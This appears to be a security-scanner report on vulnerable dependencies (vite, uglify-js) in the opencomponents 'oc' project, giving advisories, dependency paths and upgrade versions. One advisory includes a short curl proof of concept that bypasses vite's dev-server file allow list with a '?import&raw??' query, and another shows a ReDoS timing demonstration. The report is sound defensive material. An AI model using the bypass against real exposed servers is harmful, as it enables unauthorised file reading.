Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › oc-template-es6-compiler@4.5.0 › oc-vite-compiler@3.9.0 › vite@5.2.9Remediation: Upgrade to oc-template-es6-compiler@5.0.0.
Overview
vite is a Native-ESM powered web dev build tool
Affected versions of this package are vulnerable to Access Control Bypass through the server.fs.deny
configuration, which is bypassed when using ?import
query with inline
and raw
parameters. An attacker can read arbitrary files and return their content if they exist by crafting a URL that includes specific query parameters.
Remediation
Upgrade vite
to version 4.5.11, 5.4.16, 6.0.13, 6.1.3, 6.2.4 or higher.
References
medium severity
- Vulnerable module: vite
- Introduced through: oc-template-es6-compiler@4.5.0
Detailed paths
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › oc-template-es6-compiler@4.5.0 › oc-vite-compiler@3.9.0 › vite@5.2.9Remediation: Upgrade to oc-template-es6-compiler@5.0.0.
Overview
vite is a Native-ESM powered web dev build tool
Affected versions of this package are vulnerable to Incorrect Authorization due to missing checks in transformMiddleware()
which ignore certain query parameters. An attacker can access unauthorized files by including a ?raw??
or ?import&raw??
URL parameter. The allow list used by server.fs.deny()
is not checked when handling these queries and the file contents are returned.
Note: The dev server is configured by default to be inaccessible. This is only exploitable if the dev server is exposed to the network with either the --host
command line option or server.host
config option.
PoC
$ echo "top secret content" > /tmp/secret.txt
# expected behavior
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??"
export default "top secret content\n"
Remediation
Upgrade vite
to version 4.5.10, 5.4.15, 6.0.12, 6.1.2, 6.2.3 or higher.
References
medium severity
- Vulnerable module: uglify-js
- Introduced through: oc-template-handlebars-compiler@6.7.0 and oc-template-jade-compiler@7.5.0
Detailed paths
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › oc-template-handlebars-compiler@6.7.0 › uglify-js@3.7.6
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › oc-template-jade-compiler@7.5.0 › uglify-js@3.7.6
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › oc-template-jade-compiler@7.5.0 › jstransformer-uglify-js@1.2.0 › uglify-js@2.8.29
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › oc-template-jade-compiler@7.5.0 › oc-jade-legacy@1.11.1 › uglify-js@2.8.29
Overview
uglify-js is a JavaScript parser, minifier, compressor and beautifier toolkit.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the string_template
and the decode_template
functions.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade uglify-js
to version 3.14.3 or higher.
References
low severity
- Vulnerable module: vite
- Introduced through: oc-template-es6-compiler@4.5.0
Detailed paths
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › oc-template-es6-compiler@4.5.0 › oc-vite-compiler@3.9.0 › vite@5.2.9Remediation: Upgrade to oc-template-es6-compiler@5.0.0.
Overview
vite is a Native-ESM powered web dev build tool
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) through the document.currentScript
lookup mechanism when building scripts to cjs
/iife
/umd
output format.
This vulnerability is exploitable on websites that allow users to inject certain scriptless HTML tags without properly sanitizing the name
or id
attributes.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, <
can be coded as <
; and >
can be coded as >
; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses <
and >
as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
Type | Origin | Description |
---|---|---|
Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?
,&
,/
,<
,>
and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade vite
to version 3.2.11, 4.5.5, 5.2.14, 5.3.6, 5.4.6 or higher.
References
low severity
new
- Vulnerable module: vite
- Introduced through: oc-template-es6-compiler@4.5.0
Detailed paths
-
Introduced through: oc@opencomponents/oc#53630f64962bcd7e444531669769c53cfbb12e4c › oc-template-es6-compiler@4.5.0 › oc-vite-compiler@3.9.0 › vite@5.2.9Remediation: Upgrade to oc-template-es6-compiler@5.0.0.
Overview
vite is a Native-ESM powered web dev build tool
Affected versions of this package are vulnerable to Relative Path Traversal via improper enforcement of server.fs
settings. An attacker can access arbitrary HTML files on the server by sending crafted requests to the preview server.
Note:
This is only exploitable if the server is explicitly exposed to the network using the --host
flag or the server.host
configuration option, and the application uses appType
set to 'spa' (default) or 'mpa'.
Remediation
Upgrade vite
to version 5.4.20, 6.3.6, 7.0.7, 7.1.5 or higher.